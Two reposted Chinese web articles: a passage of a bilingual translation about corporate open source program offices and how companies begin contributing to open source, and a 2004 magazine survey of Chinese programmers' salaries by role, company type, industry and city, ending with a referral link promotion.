“围绕一个项目而发展的开发人员社区，有助于代码库的形成，并吸引更多的开发人员参与，这可以变成一个良性循环。” ——Tom Hickman，ThreatX 首席创新官 “If you don’t make the investment in a security team, you generally don’t expect your software to be secure or be able to respond to security incidents in a timely fashion,” he said. “如果你没有对安全团队进行相应投资，你通常是不会期望你的软件是安全的，也无法及时响应安全事件。”他说。 “The same logic applies to OSPOs and is why you see many leading companies out there such as Apple, Meta, Twitter, Goldman Sachs, Bloomberg, and Google all have OSPOs. They are ahead of the curve.” “同样的逻辑也适用于 OSPO，这就是为什么你会看到许多领先的公司，例如 Apple、Meta、Twitter、Goldman Sachs、Bloomberg 和 Google 都拥有 OSPO。他们走在了趋势的前面。” Support for open source activity within your organization can become a differentiator and marketing opportunity for software vendors. 而对组织内的开源活动的支持态度亦可成为软件供应商们的差异化原因与营销的机会。 According to a Red Hat survey released in February, 82% of IT leaders are more likely to select a vendor who contributes to the open source community. 根据Red Hat2月分发布的一项调查，82%的IT领导者更倾向于选择为开源社区作出贡献的软件供应商。 Respondents said that when vendors support open source communities they are more familiar with open source processes and are more effective if customers have technical challenges. 受访者表示，当供应商支持开源社区时，就表示着他们更熟悉开源的流程并且在客户遇到技术难题时会更加有效。 But it’s not just software vendors who benefit. 但收益的不仅仅是软件供应商们。 According to September’s survey by The New Stack, Linux Foundation Research, and the TODO Group, 57% of organizations with OSPOs use them to further strategic relationships and build partnerships. 根据 The New Stack、Linux Foundation Research 和 TODO Group 9 月份的调查，57% 拥有 OSPO 的组织将使用它们来进一步发展战略关系和建立合作伙伴关系。 Mark Hinkle started an open source program office back when he worked at Citrix a decade ago. He pointed out how having an OSPO in-house benefited the company. 十年前，Mark Hinkle 在 Citrix 工作时创办了一个开源计划办公室。他指出了在内部拥有一个 OSPO将如何使公司受益。 “For us the biggest job was to educate our employees who weren’t familiar with open source to get involved and be good community members,” he said. “We also provided guidance on how to make sure our IP didn’t enter projects without proper understanding and we made sure we didn’t incorporate open source that conflicted with our enterprise software licensing.” “对于我们来说，最大的工作是让不熟悉开源的员工学会并参与其中，成为优秀的社区成员”，他说，“我们还就如何确保我们的IP不会在没有正确理解的情况下进入项目的情况提供了指导，并确保我们没有与我们企业软件许可相冲突的开源项目合作。” The OSPO also helped Citrix identify strategic opportunities for the company to participate in open source projects and trade organizations like The Linux Foundation, he said. 他说，OSPO还帮助Citrix确定了公司参与开源项目和Linux基金会等贸易组织的战略机会。 Today, he’s the CEO and co-founder of TriggerMesh, a cloud native, open source integration platform. 如今，他是云原生开源集成平台 TriggerMesh 的首席执行官兼联合创始人。 There are some significant economic benefits to participating in the open source ecosystem, he said. 他说，参与开源系统对公司来说有着重大的经济效益。 “We participate in Knative to share the development of our underlying platform but we develop value-added services as part of our business,” he said. “By sharing the R and D for the platform, it gives us more resources to develop our own differentiated technology.” “我们参与Knative是为了分享我们基础底层平台的开发，但作为业务的一部分，我们也拥有相关的增值服务。”他说，“通过共享该平台的研发，这为我们提供了更多的资源来改进我们自己的差异化技术。” Part4How to Get Started in Open Source Sixty-three percent of companies in the September survey from The New Stack, Linux Foundation Research and the TODO Group said that having an OSPO was very or extremely critical to the success of their engineering or product teams, up from 54% in the previous annual study. 在 The New Stack、Linux Foundation Research 和 TODO Group 的 9 月份调查中，有 63% 的公司表示，拥有OSPO 对其工程或产品团队的成功至关重要，高于上一年度该项研究数据的 54%。 In particular, 77% said that their open source program had a positive impact on their software practices, such as improved code quality. 其中77% 的人表示他们的开源程序对他们的软件实践产生了积极影响，例如提高了代码质量。 But companies can’t always contribute to every single open source project that they use. 但公司也不可能总是为他们使用的每一个开源项目而花费精力。 “First, thin the herd a little bit,” advised VMware’s Ambiel. “首先，节流一下”，VMware 的 Ambiel 建议道。 Companies should look at the projects that make the most sense for their use cases. This is an area where an OSPO can help set priorities and ensure technical and strategic alignment. 公司应该关注投入使用中最有意义的项目。而这也是OSPO可以帮助确定优先事项并确保技术与战略一致性的领域。 Then, developers should go and check out the projects themselves. Projects typically offer online documentation, often with contributor guides, governance documents, and lists of open issues. 之后，开发人员应该自己去了解一下。项目通常提供相关在线文档，一般包含贡献着指南、治理文档和未解决问题列表。 “For the projects that rise to the top of your strategic list, introduce yourself — say hello,” she said. “Go to the Slack channel or the distribution list and ask where they need help. Maybe they don’t need help and everything is good. Or maybe they can use a new person to review code.” “对于那些上升到你的战略清单顶端的项目，你可以介绍一下自己----打个招呼”，她说。“然后转到Slack频道或者分发列表，询问他们需要帮助的地方。也许他们不需要帮助，一切完好；又或者他们也有可能使用新人来审查核验代码。” An open source program office can not only help make a business case for contributing to the open source community, Ambiel said, but can help companies do it in a way that’s safe, secure and sound. Ambiel 说，开源项目办公室不仅可以帮助制定为开源社区做出贡献的商业案例，还可以帮助公司以安全、可靠和健全的方式来做这件事。 “If I work for a company and want to contribute to open source, I don’t want to accidentally disclose, divulge or undermine any patents,” she said. “An OSPO helps you make smart choices.” “如果我为一家公司工作，并想为开源做出贡献，我不想意外披露、泄露或破坏任何专利，”她说。“而OSPO可以帮助您做出明智的选择。” An OSPO can also help provide leadership and the guiding philosophy about supporting open source, she said. “It can provide guidance, mentorship, coaching and best practices.” 她说，OSPO还可以在开源方面提供领导力和指导理念的支持。“它可以提供引领、指导、辅导和最佳实践的作用。” Commitment to support open source has to start at the top, said Anaïs Urlichs, developer advocate at Aqua Security. Aqua Security的开发人员倡导者Anaïs Urlichs则认为，支持开源的承诺必须从高层开始。 “Too often,” she said, “companies do not value investment into open source, so employees are not encouraged to contribute to it.” 她说，“公司在多数时候往往不重视对开源的投资，所以员工自然而然不被鼓励对此作出贡献。” In those cases, employees with a passion for open source end up contributing during their free time, which is not sustainable. 在这些情况下，员工对于开源的热情也会在空闲时间里对开源的建设而消散殆尽，这对于开源的发展来说是不可持续的。 “If companies rely on open source projects, it is important to make open source contributions part of an engineer’s work schedule,” she said. “Some companies define a time percentage that employees can contribute to open source as part of their normal workday.” “如果公司对开源项目依赖度高，那么将开源贡献纳入工程师的日程安排是很重要的，”她说。“一些公司定义了员工可以为开源建设的时间百分比，将其作为他们正常工作日的一部分。” The New Stack is a wholly owned subsidiary of Insight Partners, an investor in the following companies mentioned in this article: Sysdig, Aqua Security. The New Stack 是 Insight Partners 的全资子公司，Insight Partners 是本文提到的以下公司的投资者：Sysdig、Aqua Security。 相关阅读 | Related Reading 《开源合规指南（企业篇）》正式发布，为推动我国开源合规建设提供参考 “目标->用户->指标”——企业开源运营之道｜瞰道@谭中意 开源之夏邀请函——仅限高校学子开启 开源社简介 开源社成立于 2014 年，是由志愿贡献于开源事业的个人成员，依 “贡献、共识、共治” 原则所组成，始终维持厂商中立、公益、非营利的特点，是最早以 “开源治理、国际接轨、社区发展、开源项目” 为使命的开源社区联合体。开源社积极与支持开源的社区、企业以及政府相关单位紧密合作，以 “立足中国、贡献全球” 为愿景，旨在共创健康可持续发展的开源生态，推动中国开源社区成为全球开源体系的积极参与及贡献者。 2017 年，开源社转型为完全由个人成员组成，参照 ASF 等国际顶级开源基金会的治理模式运作。近八年来，链接了数万名开源人，集聚了上千名社区成员及志愿者、海内外数百位讲师，合作了近百家赞助、媒体、社区伙伴。 本篇文章为转载内容。原文链接：https://blog.csdn.net/kaiyuanshe/article/details/124976824。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...么人在赚取这些高薪?影响收入的决定性因素又是什么?为了取得真实数据,本刊用了2个月的时间进行深入调查与采访,希望这篇文章能在岁末年初之际,为大家带来深入的思考。 细分市场,其实软件从业人员除了程序员外,还囊括了很多的相关职业和角色,例如技术推广人、项目负责人、技术总监等,因此,凡与软件技术相关的工作或职业,都属于本专题关注之列。 程序员薪资调查报告 “软件人,今天薪资值多少?”大型网络调查活动从2004年10月初开始,在各大软件门户站点都开展了热点调查,截止11月底,在两个月的时间里,有近13000人参与并积极讨论了这个话题。 2004年,软件业人员结构处于什么分层? 2004年,开发人员实际收入多少? 2004年,开发人员使用最多的技术是什么? 2004年,影响收入的决定性因素到底是什么? …… 围绕以上种种问题,本刊设计了相关的调查与采访题目,在分析与统计开发者基本薪资情况下,还针对被调查者的专业背景、技术、软技能、公司福利以及影响薪资的关键因素做了相应的调查。 下面就让我们进入此次调查的数据现场。 2004年中国开发者平均月薪3500元 49%的开发者月薪不足3000,54%年薪不足4万(见表1、表2)。经历软件泡沫的投资家、管理者在对待员工的薪水上更为谨慎,但对开发者而言心理上却产生比较大的落差,在大环境如此的情况下,处于弱势的开发群体需要学会如何去适应环境,调整心态。 程序员占据大壁江山,升任技术总监者凤毛麟角 从本次的调查数据来看,程序员在所有调查者中占据主流,人数为一半还多,高级程序员也占了20%,这也是为什么开发者薪资普遍不高的主要原因之一。曾经业界大为盛行的国内缺乏高层次的软件人才的说法,这里似乎可以提供实在而有力的数据支持(见表3、表4)。 另外,从本次调查还得到了一个趋势:在做了3-5年的程序开发工作后,开始产生一定的人员分流现象。从有一定技术能力的程序员开始,到根据自己兴趣与爱好的二次择业,有相当部分的人员脱离编码一线,开始跨入技术主管、项目经理、技术支持、市场推广等角色。 不满者过半,普遍认为薪水太低 调查显示只有4%的人对薪水比较满意,近64%的人认为自己的薪水与社会同等能力开发人员相比偏低,这可以看出软件泡沫对开发人员造成的心理落差依然存在。人们普遍认为,软件业比较浮燥,所处其中的人也比较浮燥,但现在软件产业的发展越来越趋于理性和平和,只有先调整好自己的心态,平和地从基本功练起,薪水的价值才可能越来越得到不断提升。 软件开发,让女性走开 表5数据表明,开发者世界是一块绝对属于男性的天地,被调查者中有97%的人员属于男性。记者在采访中不止一次地发现,在软件公司中工作的女性很少,而从事一线编码工作的女性则是少之更少。一方面,软件开发这种技术创新与高挑战性、高压力的工作,男性更易于取得成果。另一方面,也有一部分中小企业对女性程序员不重视,甚至同工不同酬,也让一些希望就职此行业的女性永远地离开了这块阵地。 北京、上海、深圳、杭州成为程序员的最爱 地域对软件人员的薪资有很大的影响。北京以其政治、文化的优势集中了近19%的软件开发者,上海、深圳各占13%、10%,而杭州,以其良好的自然环境、人文环境及政府环境也吸引了5%的软件人才(见表6)。数据表明,拥有高校资源的城市先天性地占据着开发人才的绝对优势。而且,各项调查数据显示,地域也已不再是限制开发者流动的主要因素,尤其对于技术高手,他们几乎可以自由地在各大城市间来来往往。 情人虽好,糟糠之妻难下堂 哪些人在投资it企业,被调查者所在公司的规模如何?根据采访,几乎绝大多数的被调查者都将外企列在了第一选择,青睐之情溢于言表,但毕竟高高的门坎以及各种复杂因素,致使这些意愿大部分都难以实现。反而是那些遭到诸多抱怨的民营企业,尤其是占据31%的最高市场份额、员工数不足50人、管理不规范的中小软件公司,容纳了52%的开发者队伍。 c/c++、java成为翘楚,c实力强劲 调查显示,c/c++、java已是中国开发者的最爱,delphi依然延续着它的传奇之路,而c表现出了强大的后劲,相信这个微软公司推崇备至的开发利器在未来几年会如vb一样赢得开发者的信赖。 人气最旺的2大领域——企业信息化、通信 企业信息化、通信、通用软件开发、系统集成四大领域集中了目前开发者的大多数。加入wto之后,中国企业要与世界接轨,e化是必然的趋势,况且通信这个新兴行业以其门槛高、薪水高也吸引了许多开发者。企业信息化作为传统行业向网络化迈进的必然过程,容纳着很多软件人。另外,从市场角度看,移动、游戏开发、信息全三大热点领域对开发者也同样有极强诱惑力。 本科、计算机专业、部属院校大学毕业者成为中流砥柱 软件开发,并非只有计算机专业的人才能胜任,调查显示,有近40%的开发者是从其它相关或无关专业转行而来,但不可否认的是,占据60%者仍然为科班出身者。另外,尽管从来就崇尚高中毕业生就能成为软件天才,但这样的神话毕竟只是少数,支撑中国软件业的仍然是大学教育程度以上者。参与调查者中86%具有大专以上学历,另有8%的人具有硕士学历,数据表明中国开发者的整体教育水平较高。 综合实力的三大法宝:阅历、技术与沟通 59%的开发者从业期间做过的项目不超过5个,61%的人沟通能力较差,而近76%的开发者对自己比较自信,认为自己能力不弱于公司其它人员甚至更强。根据调查,在影响软件人薪资的因素中,阅历、技术强弱是决定性因素。另外,信息化时代普遍重视团队与项目整体实力,沟通能力成为影响程序员个人发展的一个重要因素。 软件人主体正处青春期 “程序员是吃青春饭的”,这个论断在本次调查中从另外一个角度得到验证。58%的软件开发者年龄不到25岁,48%的人在本领域工作时间不到3年,这些软件生力军未来5年必将成为引导中国软件发展潮流的主力军(见表18、表19)。另外,根据调查与采访,年龄在35岁左右的第二代软件人,现在已经成长为企业或项目的管理者,在各大软件公司担当着成熟、理性、有主见的软件开发带头人的角色。 待遇与福利走向正规化 有63%的公司会根据员工表现主动加薪(见表20),近80%的公司会为员工提供基本福利,如养老、医疗保险、住房补助、午餐补助等(见表21)。培训作为提升开发人员专业技能和实力的直接手段,越来越得到更多公司的重视。根据调查,项目奖金和固定假期基本成为以项目方式运作的公司的固定法宝,以鼓励和保障员工的士气和工作积极性。越来越多的中国软件企业,开始迈向规范化管理之路。 技术与眼光是决定薪水的至关要素 绝大部分被调查者都认为技术能力是决定薪资的最关键因素。但在采访过程中,却有更多的技术总监甚至公司总经理一级,认为短期内决定一个开发者薪水的因素中技术能力确实非常关键,但从长期来看,能对开发者的薪水带来长期且持久影响的,却不只是技术能力,更多的则是他本人对业界的了解度,即眼光是否开阔。这是一个很重要的信号,如果只在技术点上打转的人,除非是技术天才型,决大多数必须从综合能力等各方面来加强,而绝非技术这一点。可以说,在加强自身技术实力的前提下,开阔的视野、一定的沟通能力、自我管理与团队管理能力都对个人的发展起到至关重要的作用。(见表22) 现状解析:五维度立体定位开发者的薪资水平 结合以上调查结果以及本刊记者的深入采访,从宏观角度来看,有五个要素立体性地将软件人定位在了一定的薪资水平上。 这五个要素分别是:眼光技术、角色定位、公司性质、行业领域、地域因素。除第一、二要素是以个体原因占主体外,其他三个关键要素都取决于社会、产业、企业或公司本身的发展情况,但这些要素也不是一成不变的,在一定程度上,都是双向选择。 眼光技术是关键 一级:眼光与阅历 二级:核心技术 三级:专业与沟通 眼光开阔者得高薪 被采访者:王永刚 个人背景:软件公司cto 对于“决定薪资的最关键因素是什么”这个问题,王永刚用“是否适合职位”来回答,这一点与很多认为技术能力强就可以拿高薪的观点很不一样。他认为,多数职位分工不同,即便技术能力强但不适合职位,一样拿不到理想的薪水。他们公司在给员工定职定薪时,会与权威的咨询公司合作,从分析职位工作职责,到该职位所要求的人员素质,再到应聘员工对该职位的理解以及实际的工作情况,进行综合考虑。 专业与技术产生核心竞争力 被采访者:孙勇 个人背景:高级程序员,linux下c/c++开发 工作四年来,孙勇一直从事linux下使用c/c++进行的嵌入式开发,四年中跳过两次槽。跳槽前后的薪水变化很有意思,跳槽前月薪低年薪高,跳槽后月薪高但年薪却降了很多,原因是第一家公司项目奖金、年终分红很多,而第二家公司却没有其他方面的奖励机制。 孙勇自认为跳槽太过频繁,这样对自己技术能力的发展会产生较多的负面影响。在他看来,一个人薪资的高低终究取决于自己技术的核心竞争力,变动太大可能会造成技术上的不连续。所以孙勇说,未来五年内自己会沉浸于技术不考虑其它,目的只有一个,就是让自己更专业、更核心! 专家分析:眼光专业与核心竞争力是定位软件人层级的第一法码,其包含着很多的综合因素:专业背景、阅历、经验值、能力高下等等。趋势全球研发及资讯执行副总裁国屏认为,“技术很重要,但更重要的是市场和文化的配合。在个人的发展过程中,学习也会起到重要的作用。此外,还必须认同企业文化,具备技术、对工作、对解决问题的热情”。此外,学习能力和沟通能力也是专家们认为重要度很高的2个要素。当然,这其中,作为前提“最重要的还是兴趣,缘于自身对程序开发的热爱”,8848公司cto张研如是说。 角色大挪移 一级指标:cto、项目承包人 二级指标:架构师、部门主管/项目主管 三级指标:普通开发人员 从个人发展的角度和过程来看,这个指标应该是倒向。但从业界普遍的认识,无论是能力、阅历还是收入待遇,人们普遍对一级指标中的人员更多持赞赏态度。 被采访者:张齐生 个人背景:技术总监 起初,我只是在一家软件公司作java程序员,后来随着项目的进展以及工作时间的推移,自己的技术能力、项目管理能力也逐步加强,从最初的开发人员做到项目主管,2003年底的时候做到技术总监,工资范围也从最初的4000元到8000元,再到技术总监的万元,角色的改变确实带来了很多附加价值,当然,这个职位要求你带来的价值也会更多。 专家分析:出现这种工资结构是正常的。因为架构师、cto一般都是从普通开发人员过来的,具有深厚的业界开发经验和背景。联合信息集团移动应用开发部总经理熊军认为,开发人员必须“对自己能力的认识有一个准确的职业定位。认识自己,才能准确地职业定位,有了准确的职业定位,才能有短期、中期和长期的发展方向和动力。” 8848公司cto张研表示反对“学而优则士”、“不想当将军的士兵就不是好士兵”此类说法。同样,csdn网站、《程序员》杂志社总经理蒋涛也不建议所有程序员都向管理道路发展,因为相比之下,项目经理和cto必定具有一些独特的素质,比如沟通能力、项目管理能力,组织能力、计划能力以及产品和技术的眼光等,这些素质并不是每一个人都具备的。 公司对对碰 一级指标:外资、合资、民营大型it公司 二级指标:合资、中小软件公司 三级指标:国企、事业单位 采访中,有位叫王岩的资深开发人员一再强调,如果可能,一定要进外企。本次调查中,微软亚洲研究院,ibm研究院等外企几乎成了大部分开发人员所向往的圣地。 外企是我第一选择 被采访者:李文山 个人背景:技术支持 上海交大毕业的李文山,在校时就已经参与了很多社团活动,因此也见识了不少各种企业人员的做事风格与思想状态。外企大公司前沿的技术科研、严谨负责的处事态度都给他留下了深刻的印象。当然,丰富的培训、优厚的待遇、放心的福利也是必须考虑的因素。用他的话说,“身边全是一级的牛人,自己的发展自然就有了保障”。 中小软件企业机会多 被采访者:刘洋 个人背景:项目经理+程序员 天天加班加点,见到刘洋时他一脸的菜色,但心情不错。毕业不到一年,他就凭技术能力与管理能力当上了项目经理。虽然下面员工流动率高,但刘洋的薪水却是老板亲自钦点,比起毕业的同班同学绰绰有余。从项目最初的客户谈判、到中间执行,再到最后的交工,刘洋什么都做过,因此也锻炼得几乎成了全能手。对于未来,他希望公司业务做大后,能再规范一些,当然,随着公司的成长,自己上升的空间也很大。 三企走遍 被采访者:阿蒙(vchome.net) 个人背景:6年,通信行业,珠海 我很幸运,毕业时就进了美资软件公司,从事系统软件的开发工作,主要应用c/c++、x86汇编、mips汇编、ddk、sdk等技术,年薪四万多。在这家外企工作两年后,技术与处事能力大有提高,但开始心生厌倦,总觉得外面的世界很精彩。后来有一家从事通信软件产品开发的公司,答应年薪翻倍,一年后可走上管理层,怦然心动后就去新公司报到了。一年后,如愿以偿地走上管理层,两年后,技术管理能力以及行业业务能力有了质的飞跃,也越来越发现这个行业有前途,于是与朋友开始策划开公司,资金融到后就轰轰烈烈地创业了。没日没干了一年,由于资金与市场的原因,公司over,只好灰溜溜地去一家香港合资公司继续打工,仍做管理层。 我的感觉是,外企有一整套规章制度,薪金制度也较为完善,工作考评有客观的数值:月工作计划与总结、季度工作考核、上司的总体评价等,这些考核都很详细,细到完成的代码量、文档数、提过什么建议等等。国内企业也有计划与考核,但更多的是主观态度,而对工作的效果与过程并不具体细化,人际关系、表达能力等往往起着很微妙的关键作用。当然国内企业也有很多优点,比如制度灵活。 专家点评:人才的争夺,一方面是卯足了劲准备抢占有利地势和环境的个人开发者,另一方面,企业间的人才争夺战越演越烈。在此情况下,为了吸引国内的高素质人才,不少外企纷纷在中国开设研究院,走“曲线救国”道路。根据一份猎头资料,摩托罗拉研发中心、松下电器中国研究开发公司、ibm中国研究中心、朗讯公司贝尔实验室、微软中国研究院都是猎取高级科研、管理人才的大头。外企与外企、外企与国企、国企与民企,这个三角关系,虽然在早几年优劣非常明显,但现在,这种差距正在明显缩小。具体适合哪个企业,围城内外其实也并不是三重天(见下页表23)。 热点行业易淘金 一级推荐:移动开发、游戏开发 二级推荐:安全领域、企业信息化 三级推荐:通用软件、系统平台、项目开发等 专家点评:出现这种趋势主要是由市场对软件人才的供求决定的,因为目前在移动和游戏领域开发人员确实比较少,所以相对而言,他们的薪资较高,这就是所谓的“奇货可居”。但是,目前市场在成长,这些新兴或热点领域的开发人员数量也在逐渐增加,当达到一个平衡点时,他们的工资也会随之下降,这主要由市场对人才的供求关系决定。不建议开发人员轻易放弃自己原有的开发领域花大量时间和精力投向自己不熟悉的领域。 所以,熊军认为:这两个行业方向的长线发展看好,也需要更多的开发人员,但是年轻人都要根据自己的兴趣爱好、思维模式、技术能力选择更适合自己的行业方向,而且也有很多更有潜力的方向,建议年轻人从长远考虑。 地域火拼 一级指标:北京、上海 二级指标:深圳、杭州、广州 三级指标:成都、武汉、大连等 绝大多数的软件从业人员集中在北京、上海、广州和深圳四大城市,其中尤以北京的人数最为集中,但在另一项相关的调查中,上海却是程序员最向往的城市。在本次收入调查中,北京、上海的工资较高。武汉稍低于成都。 地域不同,薪资有别 被采访者:青润 个人背景:5年,电信行业、软件企业服务 我本人在北京、上海、深圳、成都四地都曾工作过。我基本上这样认为,对于刚刚大学毕业的软件人员,工资情况是这样:成都1500-2000元/月,上海2000元/月,深圳2000-2500元/月,北京2000-2500元/月。工作几年后,以成都系数为1来计,上海和其他地方为1.3-1.5倍于成都的收入。差异主要也是因为生活成本造成的。 相比而言,北京具有王者气氛,有着俯瞰全国的实力和影响力。上海是经济驱动的城市。深圳对人的友好度最好,它的优点是有各种各样的新技术公司,缺点是缺乏大公司的支撑。好山好水的成都,虽起步了很多软件公司,但大都在出川后倒下了,或者只是长居四川,足少出户,感觉比较舒适和懒散。 安逸的成都竞争的北京 被采访者:夏桅 个人背景:。net开发人员 夏桅毕业之后就来到北京从事软件开发工作。但他时常怀念起成都的生活,那里的山,那里的水,还有怡然自得的成都人都给他留下了深刻的印象。 但夏桅还是不后悔。一方面,安逸的环境对自己发展不利,适度的竞争可以发掘自身的潜力。而且,眼界开阔了,薪水也高不少。当然,在北京的生活绝对说不上舒服,但机会多,可有多种选择,极大地改观了自己的现状。 一眼可以看到头的武汉,但我喜欢 被采访者:刘如宁 个人背景:大学教师、项目主管 在武汉工作了10多年,刘如宁感觉还是比较惬意。比收入,武汉可能还不如成都,更别提北京和上海,但武汉的生活成本比较低,几块钱就够一天的伙食了。在高校担当大学教师的刘如宁,科研任务不重,而且还有足够的时间去外面承接项目,用自己喜欢的软件开发技术赚取外快。“我不是一个特别喜欢接受挑战的人,这种做自己喜欢的事情、宁静而富裕的生活,我还是比较满足”,有房、有车,生活安定富足的刘如宁如是说。 专家点评:比“营利”,必须是一个闭环。有收入比较,还得有支出比较,两者对比后才是最终收获。在地域这个问题上,大城市,确实收入比较高,但相对的,生活成本也较高。 趋势全球研发及资讯执行副总裁梁国屏表示,趋势的薪资结构体系在全世界都是一样的,具体数值要根据各地的市场来调整。比如一个经理,他的等级可能是10,那么不论在中国、日本还是美国,他的等级都是10.但这个等级的薪水具体是多少,就要看当地的市场了,趋势会和当地的薪资调查单位合作,来确定系数,然后计算出具体的薪水。 除薪水外,地域的附加价值会更重要一些。第一,对于技术发展比较迅速的it业,在大城市,整体的环境和氛围相对会好一些,例如在北京和上海等地,几乎每天都会有技术论坛、开发者大会、大厂商的开发日、各领域大师的巡回讲座等。其次,作的机会也会比较多,因为集中了各种类型的公司和企业,总会找到适合你条件的合适职位和选择。第三,可以参与比较大的技术团体,形成独特的生活与社交圈。用8848公司cto张研的话来说,“如果周围都是高手,你不是高手也难”,所以地域对人影响最大的是提供了一个环境,其次才是机会和薪水。 对此,telelogic公司北方区总经理任群力建议说,“如果开发人员能够善于利用互联网,并有决心多学习,这种地域差异会得到弱化。” 我拿青春赌明天 在本次专题组织中,大部分被采访人都明确表示,自己会在软件业领域一直奋斗下去,因为从中得到了很多的快乐与激情。但明天是否一定会更好,这需要从两个角度去考虑:一是从个人角度讲,年轻的软件人一定要有个人职业的规划,而且这种规划要从自己特点或专长出发,与当前业界相适应。另外,更重要的是,个人发展到什么程度,还需要同整个软件大环境和社会环境挂钩。 个人职业要规划 现在广州做了4年delphi/c行业开发、年薪10万的王旋说,“工作后所得到的收获就是,学习和工作要有相对明确的目标,不能因为一时心动而去学习某一技术。在真正下决定之前,我通常会考虑更多因素,包括长期的发展、个人路线的规划、需要付出的代价、可能遇到的困难以及解决的办法等等,在决定后还会制定更加明确的计划,包括短期、中期和长期的,身边可以利用到的资源,以及每一个阶段是怎么过渡到更高阶段的计划。” 现在,越来越多的在职人员意识到,未来的职业细分市场中,只有在某一领域确实比较深入、具有专长和资源的人会得到企业的重视,浪里淘沙勇者胜。 中国软件业面临困境 中国的软件业发展目前面临两难境地。上至国家,下至各城市都给予了相当的政策优惠,但整体软件业的发展却一直雷声大,雨点小。对此,北航软件学院院长孙伟忧心忡忡,“很多人从心里看不起印度,但印度的软件业却有数家2万、3万员工规模的大企业,放眼中国,规模最大的东软集团、用友公司,真正的软件开发者也不过两、三千人,这种差别太巨大了,我们一定要好好思考,中国的软件业究竟出了什么问题?” 对此,很多专家认为,中国软件业已经面临一个新的转折点,随着信息化在各行各业的深入运用,软件业有机会深度专业化,由边缘而进入核心,从而形成以深度专业化为特征的核心竞争力。无论个人还是公司,我们都有幸在第一时间站在了软件业这块前沿阵地,但明天是否会更好,还有待于中国软件业的整体发展,在这颇为沉闷的时刻,我们期望“让暴风雨来得更猛烈些吧”! 参考资料:http://www.w-training.com/viewc.asp?id=23922 ====================================================== 在最后，我邀请大家参加新浪APP，就是新浪免费送大家的一个空间，支持PHP+MySql，免费二级域名，免费域名绑定 这个是我邀请的地址，您通过这个链接注册即为我的好友，并获赠云豆500个，价值5元哦！短网址是http://t.cn/SXOiLh我创建的小站每天访客已经达到2000+了，每天挂广告赚50+元哦，呵呵，饭钱不愁了，\(^o^)/ 本篇文章为转载内容。原文链接：https://blog.csdn.net/javazhuanzai/article/details/7189396。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。